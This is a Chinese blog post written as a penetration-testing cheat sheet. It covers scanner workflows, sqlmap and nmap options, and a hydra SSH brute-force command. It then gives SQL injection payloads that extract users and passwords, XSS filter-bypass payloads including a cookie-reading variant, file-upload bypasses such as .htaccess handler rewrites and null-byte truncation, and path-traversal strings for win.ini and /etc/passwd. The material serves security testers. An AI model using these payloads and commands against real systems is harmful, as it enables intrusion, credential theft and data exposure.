02工具流程化

2021-06-12  本文已影响0人  测试有话说
工具流程化:
1、awvs WEB扫描:  分析扫描报告,提取有效漏洞
2、appscan WEB扫描:  分析扫描报告,提取有效漏洞
3、searchsploit(Kali下中间件及对应版本漏洞搜索);  根据漏扫出的中间件banner,使用 searchsploit 查找 banner 及对应的版本存在的漏洞,验证漏洞
4、sqlmap 扫描 burpsuite request日志;       
A. burpsuite日志配置:Options->Misc->Logging->Proxy:Requests 设置下保存路径 XXX.txt   
B. python  sqlmap.py -l 文件名相对路径 --batch --smart   
C. 扫描过程中需保持session有效性   D. 其他常用参数:
    * -u:目标URL,GET请求需要参数
    * -l:读取burpsuite保存的log日志
    * -r:读取HTTP请求文件
    * -p:指定参数
    * -D:指定数据库名
    * -T:指定表名
    * -C:指定列名
    * --data=DATA:指定POST请求中的字符串
    * --force-ssl:强制使用HTTPS
    * --dbms=DBMS:指定数据库类型
    * --level=LEVEL:指定测试等级(1-5,默认1)
    * --dbs:列出所有数据库
    * --tables:列出所有表
    * --columns:列出所有列
    * --dump:获取整个表中的数据
    * --batch:自动化执行
    * --smart:针对目标多的URL进行启发式判断注入

5、burpsuite的扫描scanner模块  把测试过程中,获取到的流量使用burpsuite的scanner模块扫描,分析扫描结果,验证漏洞。
6. burpsuite手工测试找上传功能、下载功能等不常见功能,手工抓包测试。
7.namp主机端口服务安全测试当产品是对外开放时,需要使用nmap对端口服务安全性测试;使用教程:
    * 如果Nmap命令中没有指出扫描类型,默认的就是Tcp SYN.但是它需要root/administrator权限nmap -sS 192.168.1.1
    * Tcp connect()扫描需要完成三次握手,并且要求调用系统的connect().Tcp connect()扫描技术只适用于找出TCP和UDP端口nmap -sT 192.168.1.1
    * UDP扫描不需要发送任何的SYN包,因为这种技术是针对UDP端口的。UDP扫描发送UDP数据包到目标主机,并等待响应,如果返回ICMP不可达的错误消息,说明端口是关闭的,如果得到正确的适当的回应,说明端口是开放的nmap -sU 192.168.1.1
    * 有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在.目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。发送一个设置了FIN标志的数据包并不需要完成TCP的握手nmap -sF 192.168.1.8
    * PING扫描不同于其它的扫描方式,因为它只用于找出主机是否是存在在网络中的.它不是用来发现是否开放端口的.PING扫描需要ROOT权限,如果用户没有ROOT权限,PING扫描将会使用connect()调用nmap -sP 192.168.1.1
    * 版本检测是用来扫描目标主机和端口上运行的软件的版本.它不同于其它的扫描技术,它不是用来扫描目标主机上开放的端口,不过它需要从开放的端口获取信息来判断软件的版本.使用版本检测扫描之前需要先用TCP SYN扫描开放了哪些端口nmap -sV 192.168.1.1
    * 如果远程主机有防火墙,IDS和IPS系统,你可以使用-PN命令来确保不ping远程主机,因为有时候防火墙会组织掉ping请求.-PN命令告诉Nmap不用ping远程主机nmap -O -PN 192.168.1.1/24

8.hydra使用方法hydra用法:  hydra <参数> <IP地址> <服务名>  hydra的参数是区分大小写的.  hydra支持的服务有:telnet ftp ssh mysql mssql vnc pcanywhere RDP(3389)等.  hydra的一些参数:  -R 继续从上一次的进度开始爆破  -s <port> 指定端口  -l <username> 指定登录的用户名  -L <username-list> 指定用户名字典  -p <password> 指定密码  -t <number> 设置线程数  -P <passwd-list> 指定密码字典  -v 显示详细过程    示例:  hydra -l root -P /tmp/passwd.txt -t 4 -v 192.168.57.101 ssh #爆破ssh登录密码  sql注入篇注入点的检测方法
    1. 数字类型:减法、单引号...
    2. 字符类型:三个单引号判断区别、and sleep(10) ...

不同模式的注入方法1、基本模式:union select联合查询database()、version()...2、报错注入
    * 常用函数

(1)floor():select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)(2)extractvalue():select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))(3)updatexml():select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))3、盲注
    * 基于时间:and sleep(10)
    * 基于布尔:and ascii(substring((select password from users limit 1),1,1))>51–+
    * 基于错误:


    1. PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--  
    2. MSSQL: /?param=1 and(1)=convert(int,@@version)--  
    3. Sybase: /?param=1 and(1)=convert(int,@@version)--  
    4. Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select  replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--


    * 使用dns获取日志的方法可以有效减少盲注的时间,防止请求过多导致IP被封等情况发生(T00ls);

XSS篇(绕过WAF的检测)
1、初步测试
    * 使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等;
    * 如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应;
    * 使用大小写或双写方式尝试绕过;
    * 使用a标签

2、其他测试标签
    * <img src=x      onerror=prompt(1);>
    * <img/src=aaa.jpg      onerror=prompt(1);
    * <video src=x      onerror=prompt(1);>
    * <audio src=x      onerror=prompt(1);>
    * <iframesrc="javascript:alert(2)">
    * <form action="Javascript:alert(1)"><input type=submit>
    * <svg/onload=prompt(1);>
    * <marquee/onstart=confirm(2)>/
    * <body onload=prompt(1);>
    * <select autofocus onfocus=alert(1)>
    * <textarea autofocus onfocus=alert(1)>
    * <keygen autofocus onfocus=alert(1)>
    * <video><source onerror="javascript:alert(1)">
    * <q/oncut=alert(1)>

3、其他绕过姿势
    * 实体解码:&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
    * 闭合value属性:" onmouseover="prompt(0) x="
    * 关键字变形方式:

javascript&#058;alert(1)    javaSCRIPT&colon;alert(1)   JaVaScRipT:alert(1)     javas&Tab;cript:\u0061lert(1);     javascript:\u0061lert&#x28;1&#x29     javascript&#x3A;alert&lpar;document&period;cookie&rpar;      // AsharJaved
    * ";alert(1)//,闭合前面的js
    * 空字节:<scri%00pt>alert(1);</scri%00pt>、<scri\x00pt>alert(1);</scri%00pt>、<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

上传篇
1、客户端检测
    * 上传时截获请求包,修改后缀名,绕过前端检查

2、服务端MIME检测
    * 修改content-type字段内容(或删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意,双引号要跟着C.php。)

3、文件头内容检测
    * .JPEG;.JPE;.JPG,”JPGGraphic File”
    * .gif,”GIF 89A”
    * .zip,”Zip Compressed”
    * .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

4、黑名单
    * 大小写绕过
    * 双重后缀名绕过
    * 特殊后缀名(php4)

5、文件重写
    * 上传.htaccess重写解析规则

<FliesMatch "xx.gif">SetHandler application/x-httpd-php</FilesMatch>6、其他规则
    * %00截断:1.php%00.jpg

7、WAF绕过
    * 增加垃圾数据
    * 上传多个filename或将filename位置移动到其他位置(安全狗)
    * 删除或增加Content-Disposition字段里的空格,或修改大小写
    * Boundary边界不一致
    * 文件名后回车

8、文件重命名
    * 文件名后构造更多的点或特殊符号

9、服务器解析漏洞
    * IIS 6:.asp,.asa目录下的文件被解析成asp文件,/xx.asp/xx.jpg;构造xx.asp;jpg,默认不解析;后面的内容
    * apache:后缀名从右向左解析漏洞,test.php.php123、test2.php.jpg
    * nginx:/1.jpg/1.php、/1.jpg%00.php、/1.jpg/%20\0.php

下载篇目录遍历漏洞,修改请求中相关文件的路径为任意路径,可以通过../../的方法获取到根目录,再读取任意位置的文件win:..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows%5Cwin.inilinux:
/etc/passwd
上一篇下一篇

猜你喜欢

热点阅读